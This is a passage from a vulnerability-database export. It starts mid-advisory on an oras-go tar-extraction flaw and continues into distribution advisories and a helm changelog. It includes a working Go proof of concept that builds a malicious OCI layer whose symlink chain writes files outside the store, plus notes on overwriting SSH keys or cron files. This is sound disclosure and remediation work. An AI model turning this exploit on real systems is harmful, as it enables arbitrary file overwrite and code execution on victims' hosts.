`\u003ctitle\u003e/escape`, `path == \"escape\"` and `filepath.Dir(\"escape\") == \".\"`, so the loop body never executes — the entry itself is never `Lstat`-checked.\n\n**Root cause 3 — write follows symlinks.** `content/file/utils.go` line 279, `writeFile`:\n\n```go\nfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, perm)\n```\n\nNo `O_NOFOLLOW`, so if `path` is a symlink the write goes to its target.\n\n**Data flow / exploit construction.** Let `baseAbs = \u003cworkingDir\u003e/\u003ctitle\u003e` and `N = depth(baseAbs)` (number of path components from `/`). The attacker's tar.gz contains, in order:\n\n1. `N` nested directories `\u003ctitle\u003e/d0/d1/…/d{N-1}`.\n2. A symlink `\u003ctitle\u003e/d0/…/d{N-1}/up` → `\"../../…\"` (`N` levels). Both lexically and on disk this resolves to `baseAbs`, so `ensureLinkPath` accepts it and `resolveRelToBase` sees only real directories in its ancestry.\n3. A symlink `\u003ctitle\u003e/escape` → `\"d0/…/d{N-1}/up/../../…/\u003cabsTarget\u003e\"` (`N` `..` components after `up`). **Lexically**, `filepath.Join(baseAbs, \"d0/…/up/../…/\u003cabsTarget\u003e\")` cancels the `N` `..` against `up` plus `d{N-2}…d0`, yielding `baseAbs/d0/\u003cabsTarget\u003e` — inside the root, so `ensureLinkPath` accepts it. `resolveRelToBase` then walks `d0/\u003cabsTarget-parents\u003e`, none of which are symlinks (they don't exist), so the link is created. **At the kernel**, resolving `baseAbs/d0/…/up` first follows `up` back to `baseAbs`, and the remaining `N` `..` components climb from `baseAbs` to `/`, then `\u003cabsTarget\u003e` is appended — the symlink points at the attacker-chosen absolute path.\n4. A regular file `\u003ctitle\u003e/escape` (same name). `resolveRelToBase(\"escape\")` yields `dir == \".\"` (root cause 2), so no `Lstat` is performed. `extractTarDirectory` (line 181) calls `writeFile` which opens `baseAbs/escape` with `O_TRUNC` and no `O_NOFOLLOW` (root cause 3), writing the attacker's payload through the symlink to `\u003cabsTarget\u003e`.\n\n**Why v2.6.1's `checkSymlinkEscape` does not help.** The fix for GHSA-8xwf-rjm4-xvhv added a symlink-resolving containment check, but it is called only from `resolveWritePath` (`content/file/file.go` line 632) on the **`pushFile`** path. `pushDir` → `extractTarGzip` → `extractTarDirectory` never calls it; `content/file/utils.go` is byte-identical between v2.6.0 and v2.6.1.\n\n**Suggested remediation.** Any of: (a) `Lstat` the final path component before opening for write and reject symlinks; (b) open with `O_NOFOLLOW` (or `O_EXCL` for new files); (c) resolve link targets with `filepath.EvalSymlinks` on the deepest existing ancestor (as `checkSymlinkEscape` already does) instead of lexical `filepath.Join`; (d) extract into a fresh empty directory and use `openat2(RESOLVE_BENEATH)` / `os.Root` (Go 1.24+) for all filesystem operations.\n\n### PoC\n```\ngo mod init poc\ngo get oras.land/oras-go/v2@v2.6.1\ngo run .\n```\n\n```go\n// Arbitrary file write outside a default-configured file.Store via\n// symlink-chain bypass in content/file.extractTarDirectory.\n//\n// ensureLinkPath() validates symlink targets purely lexically with\n// filepath.Join, which collapses \"..\" textually and does not follow\n// intermediate symlink components. By first planting a deep \"up\" symlink\n// that legitimately resolves to the extraction root, an \"escape\" symlink\n// can be crafted whose lexical target stays in-bounds but whose\n// kernel-resolved target is any absolute path. A follow-up TypeReg entry\n// with the same name is opened with O_CREATE|O_TRUNC (no O_NOFOLLOW),\n// writing through the symlink.\n//\n// Realistic trigger: oras.Copy() from an untrusted registry into a\n// file.New() store. The attacker controls the manifest (sets\n// AnnotationTitle + AnnotationUnpack=true on a layer) and the layer blob.\n// All digests are honest, so content verification passes.\npackage main\n\nimport (\n        \"archive/tar\"\n        \"bytes\"\n        \"compress/gzip\"\n        \"context\"\n        _ \"crypto/sha256\"\n        \"fmt\"\n        \"os\"\n        \"path/filepath\"\n        \"strings\"\n\n        \"github.com/opencontainers/go-digest\"\n        ocispec \"github.com/opencontainers/image-spec/specs-go/v1\"\n        \"oras.land/oras-go/v2/content/file\"\n)\n\nfunc main() {\n        if err := run(); err != nil {\n                fmt.Println(\"ERROR:\", err)\n                os.Exit(1)\n        }\n}\n\nfunc run() error {\n        ctx := context.Background()\n\n        // Victim's working directory for the file store.\n        workDir, err := os.MkdirTemp(\"\", \"oras-victim-*\")\n        if err != nil {\n                return err\n        }\n        defer os.RemoveAll(workDir)\n        fmt.Println(\"[*] file.Store working dir:\", workDir)\n\n        // Target path the attacker wants to write, OUTSIDE workDir.\n        // (Could be ~/.ssh/authorized_keys, ~/.bashrc, /etc/cron.d/x, etc.;\n        // a temp path keeps the demo self-contained.)\n        outsidePath := filepath.Join(os.TempDir(), \"oras-PWNED\")\n        _ = os.Remove(outsidePath)\n        defer os.Remove(outsidePath)\n        fmt.Println(\"[*] attacker target (outside workDir):\", outsidePath)\n\n        // The layer's AnnotationTitle. extractTarDirectory uses this as both the\n        // in-tar prefix and the on-disk subdir under workDir.\n        const title = \"out\"\n        baseAbs := filepath.Join(workDir, title)\n\n        // N nested dirs + a symlink \"up\" -\u003e N*\"../\" so that after the kernel\n        // follows \"up\" (landing at baseAbs) the remaining N lexical \"..\"\n        // components climb from baseAbs to \"/\". N must be \u003e= depth(baseAbs).\n        depth := len(strings.Split(strings.Trim(filepath.ToSlash(baseAbs), \"/\"), \"/\"))\n        fmt.Printf(\"[*] baseAbs depth = %d, building %d nested dirs\\n\", depth, depth)\n\n        gz, dgst, size, err := buildMaliciousLayer(title, depth, outsidePath)\n        if err != nil {\n                return err\n        }\n\n        // Descriptor exactly as it would appear in a manifest's \"layers\" array.\n        desc := ocispec.Descriptor{\n                MediaType: \"application/vnd.oci.image.layer.v1.tar+gzip\",\n                Digest:    dgst,\n                Size:      size,\n                Annotations: map[string]string{\n                        ocispec.AnnotationTitle: title,\n                        file.AnnotationUnpack:   \"true\",\n                },\n        }\n\n        // Victim creates a file store with default settings (path traversal DISALLOWED).\n        store, err := file.New(workDir)\n        if err != nil {\n                return err\n        }\n        defer store.Close()\n        fmt.Println(\"[*] store.AllowPathTraversalOnWrite =\", store.AllowPathTraversalOnWrite)\n\n        // This is exactly what oras.Copy() invokes per layer.\n        if err := store.Push(ctx, desc, bytes.NewReader(gz)); err != nil {\n                return fmt.Errorf(\"Push: %w\", err)\n        }\n\n        // Check whether the out-of-tree file was written.\n        if data, err := os.ReadFile(outsidePath); err == nil {\n                rel, _ := filepath.Rel(workDir, outsidePath)\n                fmt.Printf(\"\\n[!] BYPASS: wrote %q to %s\\n\", string(data), outsidePath)\n                fmt.Printf(\"[!] relative to workDir: %s\\n\", rel)\n                fmt.Println(\"[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\")\n                return nil\n        }\n        fmt.Println(\"\\n[-] no escape (file not created at\", outsidePath, \")\")\n        return nil\n}\n\n// buildMaliciousLayer builds a tar.gz that, when extracted by\n// content/file.extractTarDirectory under \u003cworkDir\u003e/\u003ctitle\u003e, writes to outsidePath.\nfunc buildMaliciousLayer(title string, depth int, outsidePath string) ([]byte, digest.Digest, int64, error) {\n        var buf bytes.Buffer\n        gzw := gzip.NewWriter(\u0026buf)\n        tw := tar.NewWriter(gzw)\n\n        // 1. Nested directories: title/d0/d1/.../d{depth-1}\n        dirs := make([]string, depth)\n        for i := 0; i \u003c depth; i++ {\n                dirs[i] = fmt.Sprintf(\"d%d\", i)\n        }\n        for i := 1; i \u003c= depth; i++ {\n                name := title + \"/\" + strings.Join(dirs[:i], \"/\")\n                if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeDir, Name: name, Mode: 0o755}); err != nil {\n                        return nil, \"\", 0, err\n                }\n        }\n\n        // 2. \"up\" symlink at the bottom, pointing back to baseAbs via depth*\"../\".\n        //    Lexically AND on disk this resolves to baseAbs - passes ensureLinkPath.\n        upName := title + \"/\" + strings.Join(dirs, \"/\") + \"/up\"\n        upTarget := strings.Repeat(\"../\", depth-1) + \"..\"\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: upName, Linkname: upTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 3. \"escape\" symlink at title/escape.\n        //    Target = d0/.../d{N-1}/up/../.. (N times) /\u003coutsidePath\u003e\n        //    LEXICAL clean: the N \"..\" cancel \"up\" + (N-1) dirs, leaving\n        //      d0/\u003coutsidePath\u003e  - INSIDE baseAbs, so ensureLinkPath accepts it.\n        //    KERNEL: d0/.../up follows the symlink to baseAbs, then N*\"..\"\n        //      climbs to \"/\", then appends outsidePath.\n        dots := strings.Repeat(\"../\", depth-1) + \"..\"\n        escapeTarget := strings.Join(dirs, \"/\") + \"/up/\" + dots + outsidePath\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeSymlink, Name: title + \"/escape\", Linkname: escapeTarget, Mode: 0o777}); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        // 4. Regular file entry at title/escape - same path as the symlink.\n        //    resolveRelToBase(\"escape\") has dir==\".\" so the per-component Lstat\n        //    loop never runs; writeFile opens with O_CREATE|O_TRUNC (no\n        //    O_NOFOLLOW) and writes through the symlink to outsidePath.\n        payload := []byte(\"PWNED-BY-ORAS-TARSLIP\")\n        if err := tw.WriteHeader(\u0026tar.Header{Typeflag: tar.TypeReg, Name: title + \"/escape\", Mode: 0o644, Size: int64(len(payload))}); err != nil {\n                return nil, \"\", 0, err\n        }\n        if _, err := tw.Write(payload); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        if err := tw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n        if err := gzw.Close(); err != nil {\n                return nil, \"\", 0, err\n        }\n\n        data := buf.Bytes()\n        return data, digest.FromBytes(data), int64(len(data)), nil\n}\n```\n\nExpected output (paths vary):\n\n```\n[*] file.Store working dir: /tmp/oras-victim-209731351\n[*] attacker target (outside workDir): /tmp/oras-PWNED\n[*] baseAbs depth = 3, building 3 nested dirs\n[*] store.AllowPathTraversalOnWrite = false\n\n[!] BYPASS: wrote \"PWNED-BY-ORAS-TARSLIP\" to /tmp/oras-PWNED\n[!] relative to workDir: ../oras-PWNED\n[!] PATH TRAVERSAL CONFIRMED - file written OUTSIDE file.Store working dir\n```\n\n### Impact\n**Who is affected:** Any application that pulls or pushes OCI artifacts from an untrusted or attacker-influenced source into a `content/file.Store` — e.g. `oras.Copy(ctx, remoteRepo, ref, file.New(dir), ref, opts)`, the documented primary use of the file store — with default settings (`AllowPathTraversalOnWrite=false`, `SkipUnpack=false`). Downstream consumers include the ORAS CLI (`oras pull` to a directory) and tools built on oras-go that materialise artifact contents on disk.\n\n**What the attacker gains:** Arbitrary file create/overwrite anywhere writable by the pulling process. Practical escalations include overwriting `~/.ssh/authorized_keys`, `~/.bashrc`/`~/.profile`, Git hooks, or (when running as root, e.g. in CI or a controller) `/etc/cron.d/*` or binaries on `$PATH` — i.e. remote code execution on the victim host.\n\n**Preconditions / reachability:** No local preconditions beyond pulling an attacker-controlled artifact; the attacker does **not** need any pre-existing symlink in the victim's working directory (unlike GHSA-8xwf-rjm4-xvhv / CVE-2026-50162, which this issue is distinct from). The attack is delivered over the network via a registry the victim pulls from; no authentication to the victim is required. User interaction is limited to the victim choosing to pull the artifact (`UI:R`).","status":"published","published":"2026-09-17T17:15:57Z","modified":"2026-10-01T20:55:50.398664561Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22","CWE-59"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"UBUNTU-CVE-2026-85731","description":"oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, content/file.Store extraction of OCI layers marked with io.deis.oras.content.unpack=true can write outside the store working directory. The pushDir path through extractTarDirectory and ensureLinkPath validates symlink targets lexically, resolveRelToBase skips its parent-symlink walk for root-level entries, and writeFile follows a terminal symlink when opening a regular file. A malicious archive can therefore create a symlink chain whose lexical target remains inside the extraction root but whose resolved target is an attacker-selected absolute path, then overwrite that target with a same-named regular-file entry even when AllowPathTraversalOnWrite is false. Pulling an attacker-controlled artifact can create or overwrite any file writable by the process and may lead to code execution. This issue is fixed in version 2.6.2.","status":"published","published":"2026-09-16T17:18:00Z","modified":"2026-10-28T20:17:13.351774277Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:57:24.828975Z"},{"id":"GO-2026-6499","title":"Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir) in oras.land/oras-go","description":"Arbitrary file write outside file.Store root via symlink-chain bypass in tar extraction (pushDir) in oras.land/oras-go","status":"published","published":"2026-10-01T20:23:52Z","modified":"2026-10-01T20:45:12.176535928Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:11832-1","title":"helm3-3.22.0-1.1 on GA media","description":"These are all security issues fixed in the helm3-3.22.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-21T00:00:00Z","modified":"2026-09-22T18:23:08.594156195Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"ROOT-APP-GOBINARY-CVE-2026-85731","title":"CVE-2026-85731 in oras.land/oras-go/v2 - Patched by Root","description":"Root has patched CVE-2026-85731 in the oras.land/oras-go/v2 package for Root:Go. Multiple fixed versions available.","status":"published","published":"2026-10-23T07:04:37Z","modified":"2026-10-23T08:15:03.13237466Z","updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"SUSE-SU-2026:4417-1","title":"Security update for helm","description":"This update for helm fixes the following issues:\n\n- CVE-2026-85731: oras.land/oras-go/v2: arbitrary file write outside file.Store root via symlink-chain bypass in tar\n  extraction (bsc#1281104).\n- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network\n  probing (bsc#1281112).\n\nChanges for helm:\n\n- Update to version 3.22.0:\n * chore(deps): bump the k8s-io group across 1 directory with 6 updates\n * bump version to 3.22 (#32606)\n * fix: set [pull,push] scope when helm push to a registry(use token auth) (backport) (#32362)\n * chore(deps): bump the k8s-io group with 7 updates (#32573)\n * chore(deps): bump github.com/stretchr/testify from 1.12.0 to 1.12.1 (#32563)\n * chore(deps): bump github.com/stretchr/testify from 1.11.1 to 1.12.0 (#32554)\n * chore(deps): bump golang.org/x/crypto from 0.54.0 to 0.55.0 (#32542)\n * [dev-v3 backport] deps: bump google.golang.org/grpc@v1.82.1 for GO-2026-6061 (#32536)\n * fix: bump go.opentelemetry.io/otel@v1.44.0 for GO-2026-5158 (#32535)\n * chore(deps): bump github.com/santhosh-tekuri/jsonschema/v6\n * fix(provenance): migrate to ProtonMail/go-crypto to resolve GO-2026-5932\n * chore(deps): bump the k8s-io group with 7 updates\n * chore(deps): bump github/codeql-action/upload-sarif (#32449)\n * chore(deps): bump github/codeql-action/analyze from 4.37.1 to 4.37.2\n * chore(deps): bump github/codeql-action/autobuild from 4.37.1 to 4.37.2\n * chore(deps): bump github/codeql-action/init from 4.37.1 to 4.37.2\n * chore(deps): bump github/codeql-action/autobuild from 4.37.0 to 4.37.1 (#32381)\n * chore(deps): bump github/codeql-action/upload-sarif (#32382)\n * ci: auto-label PRs targeting dev-v3 (#32340)\n * chore(deps): bump oras.land/oras-go/v2 from 2.6.1 to 2.6.2 (#32331)\n * chore(deps): bump github.com/mattn/go-shellwords from 1.0.13 to 1.0.14 (#32332)\n * chore(deps): bump github/codeql-action/analyze from 3.26.6 to 4.37.0 (#32357)\n * chore(deps): bump github/codeql-action/upload-sarif (#32360)\n * chore(deps): bump github/codeql-action/init from 3.26.6 to 4.37.0 (#32359)\n * chore(deps): bump golang/govulncheck-action from 1.0.4 to 1.1.0 (#32356)\n * chore(deps): bump golangci/golangci-lint-action from 6.1.1 to 9.3.0 (#32354)\n * chore(deps): bump ossf/scorecard-action from 2.4.0 to 2.4.3 (#32353)\n * chore(deps): bump golang.org/x/text from 0.38.0 to 0.40.0 (#32310)\n * chore(deps): bump golang.org/x/crypto from 0.53.0 to 0.54.0 (#32308)\n * chore(deps): bump golang.org/x/term from 0.44.0 to 0.45.0 (#32306)\n * fix(engine): prevent Files.Lines panic on empty file\n * fix: drop containerd v1 dep to resolve govulncheck CVEs\n * chore(deps): bump github.com/containerd/containerd from 1.7.32 to 1.7.33\n * chore(deps): bump github.com/cyphar/filepath-securejoin\n * chore(deps): bump the k8s-io group with 2 updates\n * chore(deps): bump the k8s-io group across 1 directory with 2 updates\n * fix(registry): keep credentials on plain-HTTP fallback with oras-go v2.6.1\n * chore(deps): bump oras.land/oras-go/v2 from 2.6.0 to 2.6.1\n * chore(deps): bump golang.org/x/crypto from 0.52.0 to 0.53.0\n * chore(deps): bump golang.org/x/term from 0.43.0 to 0.44.0\n * chore(deps): bump golang.org/x/text from 0.37.0 to 0.38.0\n * ci: bump golangci-lint to v2.11.3 for go 1.26\n * chore(deps): bump github.com/lib/pq from 1.11.2 to 1.12.3\n * chore(deps): bump github.com/distribution/distribution/v3\n * chore(deps): bump github.com/containerd/containerd from 1.7.30 to 1.7.32\n * chore(deps): bump github.com/Masterminds/semver/v3 from 3.4.0 to 3.5.0\n * chore(deps): bump github.com/mattn/go-shellwords from 1.0.12 to 1.0.13\n * chore(deps): bump golang.org/x/crypto from 0.51.0 to 0.52.0\n * fix(deps): bump golang.org/x/net to v0.55.0 to address GO-2026-5026\n * chore(deps): bump k8s.io/klog/v2 from 2.130.1 to 2.140.0\n * chore(deps): bump golang.org/x/text from 0.35.0 to 0.37.0\n * [v3] Bump to version v3.21 (#32103)\n * [v3 backport] Fix rollback for missing resources\n * fix(action): avoid nil REST client getter panic when installing CRDs\n","status":"published","published":"2026-10-02T09:20:18Z","modified":"2026-10-02T18:30:38.457958645Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}
